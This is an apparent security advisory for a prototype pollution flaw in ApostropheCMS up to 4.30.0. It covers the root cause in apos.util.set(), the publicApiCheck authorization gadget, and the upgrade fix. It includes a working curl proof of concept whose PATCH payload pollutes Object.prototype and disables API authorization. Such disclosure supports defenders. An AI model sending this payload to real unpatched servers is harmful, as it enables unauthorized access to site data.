CVE-2026-53609: ApostropheCMS Server-Side Prototype Pollution via $pullAll Leading to Authorization Bypass
An authenticated editor in ApostropheCMS can poison the Node.js process's global Object.prototype with a single PATCH request, permanently disabling authorization checks on all REST API endpoints…

The problem
ApostropheCMS versions up to and including 4.30.0 contain a server-side prototype pollution vulnerability in apos.util.set(). The function splits dot-notation paths and traverses them property by property without rejecting reserved keys like __proto__, constructor, or prototype.
User-controlled keys from the $pullAll patch operator are passed directly into apos.util.set() from implementPatchOperators() in the schema module. A pre-check using _.has() (an own-property check) silently skips __proto__ since it is inherited, not own, letting the polluting write proceed.
The confirmed gadget is publicApiCheck() in the piece-type module. It guards REST endpoints with if (!self.options.publicApiProjection). Once Object.prototype.publicApiProjection is set to any truthy value, every module instance inherits it, the condition evaluates to false, and the authorization gate is skipped for every subsequent unauthenticated request for the lifetime of the process.
Proof of concept
A working proof-of-concept for CVE-2026-53609 in apostrophe, with the exact payload below.
# Step 1: get an editor token
TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
-H 'Content-Type: application/json' \
-d '{"username":"editor","password":"..."}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# Step 2: pollute Object.prototype via $pullAll
curl -X PATCH 'http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'Cookie: apos-testapp.csrf=csrf' \
-H 'X-XSRF-TOKEN: csrf' \
-d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'
# Step 3: confirm bypass (no credentials)
curl -s http://localhost:3000/api/v1/@apostrophecms/user
# Returns {"pages":0,"currentPage":1,"results":[]} instead of {"name":"notfound"}The root cause is CWE-1321: apos.util.set() never validated path segments against the prototype-chain keywords __proto__, constructor, and prototype. When the key __proto__.publicApiProjection is split on ., the traversal lands on Object.prototype and writes to it directly.
The cloneOriginalBase() guard in implementPatchOperators() uses _.has(), which only checks own properties. Because __proto__ is not an own property of the patch object, the guard passes silently and the call to apos.util.set() proceeds with the attacker-controlled key.
The patch (PR #5464, commit 5a88e96) adds an explicit blocklist check inside apos.util.set() and before keys are forwarded from implementPatchOperators(), rejecting any path segment equal to __proto__, constructor, or prototype before traversal begins.
The fix
Upgrade to apostrophe version 4.31.0 or later (PR #5464, commit 5a88e9630cbbdde33154ef8abe7557ddf7be418b). The fix rejects any dot-notation path segment matching __proto__, constructor, or prototype at both the apos.util.set() level and before keys are forwarded from implementPatchOperators().
There is no known workaround short of upgrading; pollution persists until the Node.js process is restarted.
Related research
- high · 7.3CVE-2026-54737CVE-2026-54737: @phun-ky/defaults-deep Prototype Pollution via Unsafe Recursive Merge
- high · 7.5CVE-2026-47219CVE-2026-47219: find-my-way Prototype Property Lookup DoS via HTTP/2 Method
- highCVE-2026-59206CVE-2026-59206: n8n Prototype Pollution via Workflow Credentials
- highn8n Edit Fields (Set) Node Prototype Pollution Denial of Service